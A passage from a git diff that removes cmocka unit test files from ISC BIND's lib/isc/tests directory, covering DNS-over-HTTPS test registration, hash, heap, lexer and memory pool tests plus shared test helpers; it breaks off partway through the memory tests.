-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_one_POST_TLS, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_one_GET_TLS, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_one_POST_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_one_GET_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_one_POST_TLS_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_one_GET_TLS_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_two_POST, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_two_GET, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_two_POST_TLS, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_two_GET_TLS, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_two_POST_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_two_GET_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_two_POST_TLS_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_two_GET_TLS_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_send_GET, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_send_POST, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_send_GET_TLS, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_send_POST_TLS,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_send_GET_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_send_POST_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_send_GET_TLS_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_send_POST_TLS_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_half_send_GET,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_half_send_POST,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_half_send_GET_TLS,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_half_send_POST_TLS,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_half_send_GET_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_half_send_POST_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_recv_half_send_GET_TLS_quota, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_recv_half_send_POST_TLS_quota, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_send_GET,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_send_POST,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_send_GET_TLS,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_send_POST_TLS,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_send_GET_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_send_POST_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_half_recv_send_GET_TLS_quota, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_half_recv_send_POST_TLS_quota, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_half_send_GET,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_half_send_POST,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_half_recv_half_send_GET_TLS,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_half_recv_half_send_POST_TLS, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_half_recv_half_send_GET_quota, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_half_recv_half_send_POST_quota, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_half_recv_half_send_GET_TLS_quota, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			doh_half_recv_half_send_POST_TLS_quota, nm_setup,
-			nm_teardown),
-	};
-	int result = 0;
-
-#if OPENSSL_VERSION_NUMBER < 0x10100000L
-	UNUSED(tests_long);
-	result = (cmocka_run_group_tests(tests_short, _setup, _teardown));
-#else
-	if (getenv("CI") != NULL || !reuse_supported) {
-		result = (cmocka_run_group_tests(tests_short, _setup,
-						 _teardown));
-	} else {
-		result =
-			(cmocka_run_group_tests(tests_long, _setup, _teardown));
-	}
-#endif
-	return result;
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/hash_test.c b/lib/isc/tests/hash_test.c
deleted file mode 100644
index 6d4918b218..0000000000
--- a/lib/isc/tests/hash_test.c
+++ /dev/null
@@ -1,112 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/buffer.h>
-#include <isc/hash.h>
-#include <isc/hex.h>
-#include <isc/print.h>
-#include <isc/region.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <pk11/site.h>
-
-#define TEST_INPUT(x) (x), sizeof(x) - 1
-
-/*Hash function test */
-static void
-isc_hash_function_test(void **state) {
-	unsigned int h1;
-	unsigned int h2;
-
-	UNUSED(state);
-
-	/* Immutability of hash function */
-	h1 = isc_hash_function(NULL, 0, true);
-	h2 = isc_hash_function(NULL, 0, true);
-
-	assert_int_equal(h1, h2);
-
-	/* Hash function characteristics */
-	h1 = isc_hash_function("Hello world", 12, true);
-	h2 = isc_hash_function("Hello world", 12, true);
-
-	assert_int_equal(h1, h2);
-
-	/* Case */
-	h1 = isc_hash_function("Hello world", 12, false);
-	h2 = isc_hash_function("heLLo WorLd", 12, false);
-
-	assert_int_equal(h1, h2);
-
-	/* Unequal */
-	h1 = isc_hash_function("Hello world", 12, true);
-	h2 = isc_hash_function("heLLo WorLd", 12, true);
-
-	assert_int_not_equal(h1, h2);
-}
-
-/* Hash function initializer test */
-static void
-isc_hash_initializer_test(void **state) {
-	unsigned int h1;
-	unsigned int h2;
-
-	UNUSED(state);
-
-	h1 = isc_hash_function("Hello world", 12, true);
-	h2 = isc_hash_function("Hello world", 12, true);
-
-	assert_int_equal(h1, h2);
-
-	isc_hash_set_initializer(isc_hash_get_initializer());
-
-	/* Hash value must not change */
-	h2 = isc_hash_function("Hello world", 12, true);
-
-	assert_int_equal(h1, h2);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_hash_function_test),
-		cmocka_unit_test(isc_hash_initializer_test),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/heap_test.c b/lib/isc/tests/heap_test.c
deleted file mode 100644
index fb61f3fd99..0000000000
--- a/lib/isc/tests/heap_test.c
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/* ! \file */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/heap.h>
-#include <isc/mem.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-struct e {
-	unsigned int value;
-	unsigned int index;
-};
-
-static bool
-compare(void *p1, void *p2) {
-	struct e *e1 = p1;
-	struct e *e2 = p2;
-
-	return (e1->value < e2->value);
-}
-
-static void
-idx(void *p, unsigned int i) {
-	struct e *e = p;
-
-	e->index = i;
-}
-
-/* test isc_heap_delete() */
-static void
-isc_heap_delete_test(void **state) {
-	isc_heap_t *heap = NULL;
-	isc_result_t result;
-	struct e e1 = { 100, 0 };
-
-	UNUSED(state);
-
-	result = isc_heap_create(test_mctx, compare, idx, 0, &heap);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_non_null(heap);
-
-	isc_heap_insert(heap, &e1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(e1.index, 1);
-
-	isc_heap_delete(heap, e1.index);
-	assert_int_equal(e1.index, 0);
-
-	isc_heap_destroy(&heap);
-	assert_null(heap);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_heap_delete_test),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/isctest.c b/lib/isc/tests/isctest.c
deleted file mode 100644
index 6975501ef7..0000000000
--- a/lib/isc/tests/isctest.c
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include "isctest.h"
-#include <inttypes.h>
-#include <stdbool.h>
-#include <stdlib.h>
-#include <time.h>
-
-#include <isc/buffer.h>
-#include <isc/hash.h>
-#include <isc/hp.h>
-#include <isc/managers.h>
-#include <isc/mem.h>
-#include <isc/os.h>
-#include <isc/socket.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-isc_mem_t *test_mctx = NULL;
-isc_log_t *test_lctx = NULL;
-isc_taskmgr_t *taskmgr = NULL;
-isc_timermgr_t *timermgr = NULL;
-isc_socketmgr_t *socketmgr = NULL;
-isc_nm_t *netmgr = NULL;
-isc_task_t *maintask = NULL;
-int ncpus;
-
-static bool test_running = false;
-
-/*
- * Logging categories: this needs to match the list in bin/named/log.c.
- */
-static isc_logcategory_t categories[] = { { "", 0 },
-					  { "client", 0 },
-					  { "network", 0 },
-					  { "update", 0 },
-					  { "queries", 0 },
-					  { "unmatched", 0 },
-					  { "update-security", 0 },
-					  { "query-errors", 0 },
-					  { NULL, 0 } };
-
-static void
-cleanup_managers(void) {
-	if (maintask != NULL) {
-		isc_task_shutdown(maintask);
-		isc_task_destroy(&maintask);
-	}
-	isc_managers_destroy(netmgr == NULL ? NULL : &netmgr,
-			     taskmgr == NULL ? NULL : &taskmgr,
-			     timermgr == NULL ? NULL : &timermgr,
-			     socketmgr == NULL ? NULL : &socketmgr);
-}
-
-static isc_result_t
-create_managers(unsigned int workers) {
-	isc_result_t result;
-	char *p;
-
-	if (workers == 0) {
-		workers = isc_os_ncpus();
-	}
-	p = getenv("ISC_TASK_WORKERS");
-	if (p != NULL) {
-		workers = atoi(p);
-	}
-	INSIST(workers != 0);
-
-	isc_hp_init(6 * workers);
-	isc_managers_create(test_mctx, workers, 0, 0, &netmgr, &taskmgr,
-			    &timermgr, &socketmgr);
-
-	CHECK(isc_task_create_bound(taskmgr, 0, &maintask, 0));
-	isc_taskmgr_setexcltask(taskmgr, maintask);
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	cleanup_managers();
-	return (result);
-}
-
-isc_result_t
-isc_test_begin(FILE *logfile, bool start_managers, unsigned int workers) {
-	isc_result_t result;
-
-	INSIST(!test_running);
-	test_running = true;
-
-	isc_mem_debugging |= ISC_MEM_DEBUGRECORD;
-
-	INSIST(test_mctx == NULL);
-	isc_mem_create(&test_mctx);
-
-	if (logfile != NULL) {
-		isc_logdestination_t destination;
-		isc_logconfig_t *logconfig = NULL;
-
-		INSIST(test_lctx == NULL);
-		isc_log_create(test_mctx, &test_lctx, &logconfig);
-		isc_log_registercategories(test_lctx, categories);
-		isc_log_setcontext(test_lctx);
-
-		destination.file.stream = logfile;
-		destination.file.name = NULL;
-		destination.file.versions = ISC_LOG_ROLLNEVER;
-		destination.file.maximum_size = 0;
-		isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
-				      ISC_LOG_DYNAMIC, &destination, 0);
-		CHECK(isc_log_usechannel(logconfig, "stderr", NULL, NULL));
-	}
-
-	ncpus = isc_os_ncpus();
-
-	if (start_managers) {
-		CHECK(create_managers(workers));
-	}
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	isc_test_end();
-	return (result);
-}
-
-void
-isc_test_end(void) {
-	if (maintask != NULL) {
-		isc_task_detach(&maintask);
-	}
-
-	cleanup_managers();
-
-	if (test_lctx != NULL) {
-		isc_log_destroy(&test_lctx);
-	}
-	if (test_mctx != NULL) {
-		isc_mem_destroy(&test_mctx);
-	}
-
-	test_running = false;
-}
-
-/*
- * Sleep for 'usec' microseconds.
- */
-void
-isc_test_nap(uint32_t usec) {
-	struct timespec ts;
-
-	ts.tv_sec = usec / 1000000;
-	ts.tv_nsec = (usec % 1000000) * 1000;
-	nanosleep(&ts, NULL);
-}
diff --git a/lib/isc/tests/isctest.h b/lib/isc/tests/isctest.h
deleted file mode 100644
index 8551bcfd01..0000000000
--- a/lib/isc/tests/isctest.h
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <stdbool.h>
-
-#include <isc/buffer.h>
-#include <isc/hash.h>
-#include <isc/log.h>
-#include <isc/mem.h>
-#include <isc/netmgr.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#define CHECK(r)                             \
-	do {                                 \
-		result = (r);                \
-		if (result != ISC_R_SUCCESS) \
-			goto cleanup;        \
-	} while (0)
-
-extern isc_mem_t *test_mctx;
-extern isc_log_t *test_lctx;
-extern isc_taskmgr_t *taskmgr;
-extern isc_timermgr_t *timermgr;
-extern isc_socketmgr_t *socketmgr;
-extern isc_nm_t *netmgr;
-extern int ncpus;
-
-isc_result_t
-isc_test_begin(FILE *logfile, bool start_managers, unsigned int workers);
-/*%<
- * Begin test, logging to 'logfile' or default if not specified.
- *
- * If 'start_managers' is set, start a task manager, timer manager,
- * and socket manager.
- *
- * If 'workers' is zero, use the number of CPUs on the system as a default;
- * otherwise, set up the task manager with the specified number of worker
- * threads. The environment variable ISC_TASK_WORKERS overrides this value.
- */
-
-void
-isc_test_end(void);
-
-void
-isc_test_nap(uint32_t usec);
diff --git a/lib/isc/tests/lex_test.c b/lib/isc/tests/lex_test.c
deleted file mode 100644
index 059d323bf0..0000000000
--- a/lib/isc/tests/lex_test.c
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/buffer.h>
-#include <isc/lex.h>
-#include <isc/mem.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-/* check handling of 0xff */
-static void
-lex_0xff(void **state) {
-	isc_result_t result;
-	isc_lex_t *lex = NULL;
-	isc_buffer_t death_buf;
-	isc_token_t token;
-
-	unsigned char death[] = { EOF, 'A' };
-
-	UNUSED(state);
-
-	result = isc_lex_create(test_mctx, 1024, &lex);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_init(&death_buf, &death[0], sizeof(death));
-	isc_buffer_add(&death_buf, sizeof(death));
-
-	result = isc_lex_openbuffer(lex, &death_buf);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_lex_gettoken(lex, 0, &token);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_lex_destroy(&lex);
-}
-
-/* check setting of source line */
-static void
-lex_setline(void **state) {
-	isc_result_t result;
-	isc_lex_t *lex = NULL;
-	unsigned char text[] = "text\nto\nbe\nprocessed\nby\nlexer";
-	isc_buffer_t buf;
-	isc_token_t token;
-	unsigned long line;
-	int i;
-
-	UNUSED(state);
-
-	result = isc_lex_create(test_mctx, 1024, &lex);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_init(&buf, &text[0], sizeof(text));
-	isc_buffer_add(&buf, sizeof(text));
-
-	result = isc_lex_openbuffer(lex, &buf);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_lex_setsourceline(lex, 100);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (i = 0; i < 6; i++) {
-		result = isc_lex_gettoken(lex, 0, &token);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		line = isc_lex_getsourceline(lex);
-		assert_int_equal(line, 100U + i);
-	}
-
-	result = isc_lex_gettoken(lex, 0, &token);
-	assert_int_equal(result, ISC_R_EOF);
-
-	line = isc_lex_getsourceline(lex);
-	assert_int_equal(line, 105U);
-
-	isc_lex_destroy(&lex);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(lex_0xff),
-		cmocka_unit_test(lex_setline),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/mem_test.c b/lib/isc/tests/mem_test.c
deleted file mode 100644
index 4b42b39de0..0000000000
--- a/lib/isc/tests/mem_test.c
+++ /dev/null
@@ -1,545 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <fcntl.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/atomic.h>
-#include <isc/file.h>
-#include <isc/mem.h>
-#include <isc/mutex.h>
-#include <isc/os.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/stdio.h>
-#include <isc/thread.h>
-#include <isc/time.h>
-#include <isc/util.h>
-
-#include "../mem_p.h"
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-#define MP1_FREEMAX  10
-#define MP1_FILLCNT  10
-#define MP1_MAXALLOC 30
-
-#define MP2_FREEMAX 25
-#define MP2_FILLCNT 25
-
-/* general memory system tests */
-static void
-isc_mem_test(void **state) {
-	void *items1[50];
-	void *items2[50];
-	void *tmp;
-	isc_mempool_t *mp1 = NULL, *mp2 = NULL;
-	unsigned int i, j;
-	int rval;
-
-	UNUSED(state);
-
-	isc_mempool_create(test_mctx, 24, &mp1);
-	isc_mempool_create(test_mctx, 31, &mp2);
-
-	isc_mempool_setfreemax(mp1, MP1_FREEMAX);
-	isc_mempool_setfillcount(mp1, MP1_FILLCNT);
-	isc_mempool_setmaxalloc(mp1, MP1_MAXALLOC);
-
-	/*
-	 * Allocate MP1_MAXALLOC items from the pool.  This is our max.
-	 */
-	for (i = 0; i < MP1_MAXALLOC; i++) {
-		items1[i] = isc_mempool_get(mp1);
-		assert_non_null(items1[i]);
-	}
-
-	/*
-	 * Try to allocate one more.  This should fail.
-	 */
-	tmp = isc_mempool_get(mp1);
-	assert_null(tmp);
-
-	/*
-	 * Free the first 11 items.  Verify that there are 10 free items on
-	 * the free list (which is our max).
-	 */
-	for (i = 0; i < 11; i++) {
-		isc_mempool_put(mp1, items1[i]);
-		items1[i] = NULL;
-	}
-
-#if !__SANITIZE_ADDRESS__
-	rval = isc_mempool_getfreecount(mp1);
-	assert_int_equal(rval, 10);
-#endif /* !__SANITIZE_ADDRESS__ */
-
-	rval = isc_mempool_getallocated(mp1);
-	assert_int_equal(rval, 19);
-
-	/*
-	 * Now, beat up on mp2 for a while.  Allocate 50 items, then free
-	 * them, then allocate 50 more, etc.
-	 */
-
-	isc_mempool_setfreemax(mp2, 25);
-	isc_mempool_setfillcount(mp2, 25);
-
-	for (j = 0; j < 500000; j++) {
-		for (i = 0; i < 50; i++) {
-			items2[i] = isc_mempool_get(mp2);
-			assert_non_null(items2[i]);
-		}
-		for (i = 0; i < 50; i++) {
-			isc_mempool_put(mp2, items2[i]);
-			items2[i] = NULL;
-		}
-	}
-
-	/*
-	 * Free all the other items and blow away this pool.
-	 */
-	for (i = 11; i < MP1_MAXALLOC; i++) {
-		isc_mempool_put(mp1, items1[i]);
-		items1[i] = NULL;
-	}
-
-	isc_mempool_destroy(&mp1);
-	isc_mempool_destroy(&mp2);
-
-	isc_mempool_create(test_mctx, 2, &mp1);
-
-	tmp = isc_mempool_get(mp1);
-	assert_non_null(tmp);
-
-	isc_mempool_put(mp1, tmp);
-
-	isc_mempool_destroy(&mp1);
-}
-
-/* test TotalUse calculation */
-static void
-isc_mem_total_test(void **state) {
-	isc_mem_t *mctx2 = NULL;
-	size_t before, after;
-	ssize_t diff;
-	int i;
-
-	UNUSED(state);
-
-	/* Local alloc, free */
-	mctx2 = NULL;
-	isc_mem_create(&mctx2);
-
-	before = isc_mem_total(mctx2);
-
-	for (i = 0; i < 100000; i++) {
-		void *ptr;
-
-		ptr = isc_mem_allocate(mctx2, 2048);
-		isc_mem_free(mctx2, ptr);
-	}
-
-	after = isc_mem_total(mctx2);
-	diff = after - before;
-
-	/* 2048 +8 bytes extra for size_info */
-	assert_int_equal(diff, (2048 + 8) * 100000);
-
-	/* ISC_MEMFLAG_INTERNAL */
-
-	before = isc_mem_total(test_mctx);
-
-	for (i = 0; i < 100000; i++) {
-		void *ptr;
-
-		ptr = isc_mem_allocate(test_mctx, 2048);
-		isc_mem_free(test_mctx, ptr);
-	}
-
-	after = isc_mem_total(test_mctx);
-	diff = after - before;
-
-	/* 2048 +8 bytes extra for size_info */
-	assert_int_equal(diff, (2048 + 8) * 100000);
-
-	isc_mem_destroy(&mctx2);
-}
-
-/* test InUse calculation */
-static void
-isc_mem_inuse_test(void **state) {
-	isc_mem_t *mctx2 = NULL;
-	size_t before, after;
-	ssize_t diff;
-	void *ptr;
-
-	UNUSED(state);
-
-	mctx2 = NULL;
-	isc_mem_create(&mctx2);
-
-	before = isc_mem_inuse(mctx2);
-	ptr = isc_mem_allocate(mctx2, 1024000);
-	isc_mem_free(mctx2, ptr);
-	after = isc_mem_inuse(mctx2);
-
-	diff = after - before;
-
-	assert_int_equal(diff, 0);
-
-	isc_mem_destroy(&mctx2);
-}
-
-#if ISC_MEM_TRACKLINES
-
-/* test mem with no flags */
-static void
-isc_mem_noflags_test(void **state) {
-	isc_result_t result;
-	isc_mem_t *mctx2 = NULL;
-	char buf[4096], *p, *q;
-	FILE *f;
-	void *ptr;
-
-	result = isc_stdio_open("mem.output", "w", &f);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	UNUSED(state);
-
-	isc_mem_create(&mctx2);
-	isc_mem_debugging = 0;
-	ptr = isc_mem_get(mctx2, 2048);
-	assert_non_null(ptr);
-	isc__mem_printactive(mctx2, f);
-	isc_mem_put(mctx2, ptr, 2048);
-	isc_mem_destroy(&mctx2);
-	isc_stdio_close(f);
-
-	memset(buf, 0, sizeof(buf));
-	result = isc_stdio_open("mem.output", "r", &f);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_stdio_read(buf, sizeof(buf), 1, f, NULL);
-	assert_int_equal(result, ISC_R_EOF);
-	isc_stdio_close(f);
-	isc_file_remove("mem.output");
-
-	buf[sizeof(buf) - 1] = 0;
-
-	p = strchr(buf, '\n');
-	assert_non_null(p);
-	assert_in_range(p, 0, buf + sizeof(buf) - 3);
-	p += 2;
-	q = strchr(p, '\n');
-	assert_non_null(q);
-	*q = '\0';
-	assert_string_equal(p, "None.");
-
-	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
-}
-
-/* test mem with record flag */
-static void
-isc_mem_recordflag_test(void **state) {
-	isc_result_t result;
-	isc_mem_t *mctx2 = NULL;
-	char buf[4096], *p;
-	FILE *f;
-	void *ptr;
-
-	result = isc_stdio_open("mem.output", "w", &f);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	UNUSED(state);
-
-	isc_mem_create(&mctx2);
-	ptr = isc_mem_get(mctx2, 2048);
-	assert_non_null(ptr);
-	isc__mem_printactive(mctx2, f);
-	isc_mem_put(mctx2, ptr, 2048);
-	isc_mem_destroy(&mctx2);
-	isc_stdio_close(f);
-
-	memset(buf, 0, sizeof(buf));
-	result = isc_stdio_open("mem.output", "r", &f);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_stdio_read(buf, sizeof(buf), 1, f, NULL);
-	assert_int_equal(result, ISC_R_EOF);
-	isc_stdio_close(f);
-	isc_file_remove("mem.output");
-
-	buf[sizeof(buf) - 1] = 0;
-
-	p = strchr(buf, '\n');
-	assert_non_null(p);
-	assert_in_range(p, 0, buf + sizeof(buf) - 3);
-	assert_memory_equal(p + 2, "ptr ", 4);
-	p = strchr(p + 1, '\n');
-	assert_non_null(p);
-	assert_int_equal(strlen(p), 1);
-}
-
-/* test mem with trace flag */
-static void
-isc_mem_traceflag_test(void **state) {
-	isc_result_t result;
-	isc_mem_t *mctx2 = NULL;
-	char buf[4096], *p;
-	FILE *f;
-	void *ptr;
-
-	/* redirect stderr so we can check trace output */
-	f = freopen("mem.output", "w", stderr);
-	assert_non_null(f);
-
-	UNUSED(state);
-
-	isc_mem_create(&mctx2);
-	isc_mem_debugging = ISC_MEM_DEBUGTRACE;
-	ptr = isc_mem_get(mctx2, 2048);
-	assert_non_null(ptr);
-	isc__mem_printactive(mctx2, f);
-	isc_mem_put(mctx2, ptr, 2048);
-	isc_mem_destroy(&mctx2);
-	isc_stdio_close(f);
-
-	memset(buf, 0, sizeof(buf));
-	result = isc_stdio_open("mem.output", "r", &f);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_stdio_read(buf, sizeof(buf), 1, f, NULL);
